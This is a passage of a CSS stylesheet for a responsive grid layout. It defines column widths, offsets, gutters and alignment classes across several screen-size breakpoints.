50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-7-xlarge {\n\t\t\t\t\twidth: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-7-xlarge {\n\t\t\t\t\tmargin-left: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-8-xlarge {\n\t\t\t\t\twidth: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-8-xlarge {\n\t\t\t\t\tmargin-left: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-9-xlarge {\n\t\t\t\t\twidth: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-9-xlarge {\n\t\t\t\t\tmargin-left: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-10-xlarge {\n\t\t\t\t\twidth: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-10-xlarge {\n\t\t\t\t\tmargin-left: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-11-xlarge {\n\t\t\t\t\twidth: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-11-xlarge {\n\t\t\t\t\tmargin-left: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-12-xlarge {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-12-xlarge {\n\t\t\t\t\tmargin-left: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-0 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: 0em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0.gtr-uniform {\n\t\t\t\t\t\tmargin-top: 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-0.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-25 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.375em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-25.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.375em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-50 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.75em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-50.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.75em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -1.5em;\n\t\t\t\t}\n\n\t\t\t\t\t.row > * {\n\t\t\t\t\t\tpadding: 0 0 0 1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 1.5em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-150 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -2.25em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150 > * {\n\t\t\t\t\t\tpadding: 0 0 0 2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-150.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 2.25em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-200 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -3em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200 > * {\n\t\t\t\t\t\tpadding: 0 0 0 3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-200.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 3em;\n\t\t\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t.row {\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-wrap: wrap;\n\t\t\t\tbox-sizing: border-box;\n\t\t\t\talign-items: stretch;\n\t\t\t}\n\n\t\t\t\t.row > * {\n\t\t\t\t\tbox-sizing: border-box;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-uniform > * > :last-child {\n\t\t\t\t\tmargin-bottom: 0;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-left {\n\t\t\t\t\tjustify-content: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-center {\n\t\t\t\t\tjustify-content: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-right {\n\t\t\t\t\tjustify-content: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-top {\n\t\t\t\t\talign-items: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-middle {\n\t\t\t\t\talign-items: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-bottom {\n\t\t\t\t\talign-items: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row > .imp-large {\n\t\t\t\t\torder: -1;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-1-large {\n\t\t\t\t\twidth: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-1-large {\n\t\t\t\t\tmargin-left: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-2-large {\n\t\t\t\t\twidth: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-2-large {\n\t\t\t\t\tmargin-left: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-3-large {\n\t\t\t\t\twidth: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-3-large {\n\t\t\t\t\tmargin-left: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-4-large {\n\t\t\t\t\twidth: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-4-large {\n\t\t\t\t\tmargin-left: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-5-large {\n\t\t\t\t\twidth: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-5-large {\n\t\t\t\t\tmargin-left: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-6-large {\n\t\t\t\t\twidth: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-6-large {\n\t\t\t\t\tmargin-left: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-7-large {\n\t\t\t\t\twidth: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-7-large {\n\t\t\t\t\tmargin-left: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-8-large {\n\t\t\t\t\twidth: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-8-large {\n\t\t\t\t\tmargin-left: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-9-large {\n\t\t\t\t\twidth: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-9-large {\n\t\t\t\t\tmargin-left: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-10-large {\n\t\t\t\t\twidth: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-10-large {\n\t\t\t\t\tmargin-left: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-11-large {\n\t\t\t\t\twidth: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-11-large {\n\t\t\t\t\tmargin-left: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-12-large {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-12-large {\n\t\t\t\t\tmargin-left: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-0 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: 0em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0.gtr-uniform {\n\t\t\t\t\t\tmargin-top: 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-0.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-25 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.375em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-25.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.375em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-50 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.75em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-50.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.75em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -1.5em;\n\t\t\t\t}\n\n\t\t\t\t\t.row > * {\n\t\t\t\t\t\tpadding: 0 0 0 1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 1.5em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-150 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -2.25em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150 > * {\n\t\t\t\t\t\tpadding: 0 0 0 2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-150.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 2.25em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-200 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -3em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200 > * {\n\t\t\t\t\t\tpadding: 0 0 0 3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-200.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 3em;\n\t\t\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 980px) {\n\n\t\t\t.row {\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-wrap: wrap;\n\t\t\t\tbox-sizing: border-box;\n\t\t\t\talign-items: stretch;\n\t\t\t}\n\n\t\t\t\t.row > * {\n\t\t\t\t\tbox-sizing: border-box;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-uniform > * > :last-child {\n\t\t\t\t\tmargin-bottom: 0;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-left {\n\t\t\t\t\tjustify-content: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-center {\n\t\t\t\t\tjustify-content: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-right {\n\t\t\t\t\tjustify-content: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-top {\n\t\t\t\t\talign-items: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-middle {\n\t\t\t\t\talign-items: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-bottom {\n\t\t\t\t\talign-items: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row > .imp-medium {\n\t\t\t\t\torder: -1;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-1-medium {\n\t\t\t\t\twidth: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-1-medium {\n\t\t\t\t\tmargin-left: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-2-medium {\n\t\t\t\t\twidth: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-2-medium {\n\t\t\t\t\tmargin-left: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-3-medium {\n\t\t\t\t\twidth: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-3-medium {\n\t\t\t\t\tmargin-left: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-4-medium {\n\t\t\t\t\twidth: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-4-medium {\n\t\t\t\t\tmargin-left: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-5-medium {\n\t\t\t\t\twidth: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-5-medium {\n\t\t\t\t\tmargin-left: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-6-medium {\n\t\t\t\t\twidth: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-6-medium {\n\t\t\t\t\tmargin-left: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-7-medium {\n\t\t\t\t\twidth: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-7-medium {\n\t\t\t\t\tmargin-left: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-8-medium {\n\t\t\t\t\twidth: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-8-medium {\n\t\t\t\t\tmargin-left: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-9-medium {\n\t\t\t\t\twidth: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-9-medium {\n\t\t\t\t\tmargin-left: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-10-medium {\n\t\t\t\t\twidth: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-10-medium {\n\t\t\t\t\tmargin-left: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-11-medium {\n\t\t\t\t\twidth: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-11-medium {\n\t\t\t\t\tmargin-left: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-12-medium {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-12-medium {\n\t\t\t\t\tmargin-left: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-0 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: 0em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0.gtr-uniform {\n\t\t\t\t\t\tmargin-top: 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-0.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-25 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.375em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-25.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.375em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-50 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.75em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-50.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.75em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -1.5em;\n\t\t\t\t}\n\n\t\t\t\t\t.row > * {\n\t\t\t\t\t\tpadding: 0 0 0 1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 1.5em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-150 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -2.25em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150 > * {\n\t\t\t\t\t\tpadding: 0 0 0 2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-150.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 2.25em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-200 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -3em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200 > * {\n\t\t\t\t\t\tpadding: 0 0 0 3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-200.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 3em;\n\t\t\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t.row {\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-wrap: wrap;\n\t\t\t\tbox-sizing: border-box;\n\t\t\t\talign-items: stretch;\n\t\t\t}\n\n\t\t\t\t.row > * {\n\t\t\t\t\tbox-sizing: border-box;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-uniform > * > :last-child {\n\t\t\t\t\tmargin-bottom: 0;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-left {\n\t\t\t\t\tjustify-content: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-center {\n\t\t\t\t\tjustify-content: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-right {\n\t\t\t\t\tjustify-content: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-top {\n\t\t\t\t\talign-items: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-middle {\n\t\t\t\t\talign-items: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-bottom {\n\t\t\t\t\talign-items: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row > .imp-small {\n\t\t\t\t\torder: -1;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-1-small {\n\t\t\t\t\twidth: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-1-small {\n\t\t\t\t\tmargin-left: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-2-small {\n\t\t\t\t\twidth: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-2-small {\n\t\t\t\t\tmargin-left: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-3-small {\n\t\t\t\t\twidth: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-3-small {\n\t\t\t\t\tmargin-left: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-4-small {\n\t\t\t\t\twidth: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-4-small {\n\t\t\t\t\tmargin-left: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-5-small {\n\t\t\t\t\twidth: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-5-small {\n\t\t\t\t\tmargin-left: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-6-small {\n\t\t\t\t\twidth: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-6-small {\n\t\t\t\t\tmargin-left: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-7-small {\n\t\t\t\t\twidth: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-7-small {\n\t\t\t\t\tmargin-left: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-8-small {\n\t\t\t\t\twidth: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-8-small {\n\t\t\t\t\tmargin-left: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-9-small {\n\t\t\t\t\twidth: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-9-small {\n\t\t\t\t\tmargin-left: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-10-small {\n\t\t\t\t\twidth: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-10-small {\n\t\t\t\t\tmargin-left: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-11-small {\n\t\t\t\t\twidth: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-11-small {\n\t\t\t\t\tmargin-left: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-12-small {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-12-small {\n\t\t\t\t\tmargin-left: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-0 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: 0em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0.gtr-uniform {\n\t\t\t\t\t\tmargin-top: 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-0.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-25 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.375em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-25.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.375em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-50 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.75em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-50.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.75em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -1.5em;\n\t\t\t\t}\n\n\t\t\t\t\t.row > * {\n\t\t\t\t\t\tpadding: 0 0 0 1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 1.5em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-150 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -2.25em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150 > * {\n\t\t\t\t\t\tpadding: 0 0 0 2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-150.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 2.25em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-200 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -3em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200 > * {\n\t\t\t\t\t\tpadding: 0 0 0 3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-200.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 3em;\n\t\t\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 480px) {\n\n\t\t\t.row {\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-wrap: wrap;\n\t\t\t\tbox-sizing: border-box;\n\t\t\t\talign-items: stretch;\n\t\t\t}\n\n\t\t\t\t.row > * {\n\t\t\t\t\tbox-sizing: border-box;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-uniform > * > :last-child {\n\t\t\t\t\tmargin-bottom: 0;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-left {\n\t\t\t\t\tjustify-content: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-center {\n\t\t\t\t\tjustify-content: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-right {\n\t\t\t\t\tjustify-content: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-top {\n\t\t\t\t\talign-items: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-middle {\n\t\t\t\t\talign-items: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-bottom {\n\t\t\t\t\talign-items: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row > .imp-xsmall {\n\t\t\t\t\torder: -1;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-1-xsmall {\n\t\t\t\t\twidth: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-1-xsmall {\n\t\t\t\t\tmargin-left: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-2-xsmall {\n\t\t\t\t\twidth: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-2-xsmall {\n\t\t\t\t\tmargin-left: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-3-xsmall {\n\t\t\t\t\twidth: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-3-xsmall {\n\t\t\t\t\tmargin-left: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-4-xsmall {\n\t\t\t\t\twidth: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-4-xsmall {\n\t\t\t\t\tmargin-left: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-5-xsmall {\n\t\t\t\t\twidth: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-5-xsmall {\n\t\t\t\t\tmargin-left: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-6-xsmall {\n\t\t\t\t\twidth: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-6-xsmall {\n\t\t\t\t\tmargin-left: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-7-xsmall {\n\t\t\t\t\twidth: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-7-xsmall {\n\t\t\t\t\tmargin-left: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-8-xsmall {\n\t\t\t\t\twidth: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > 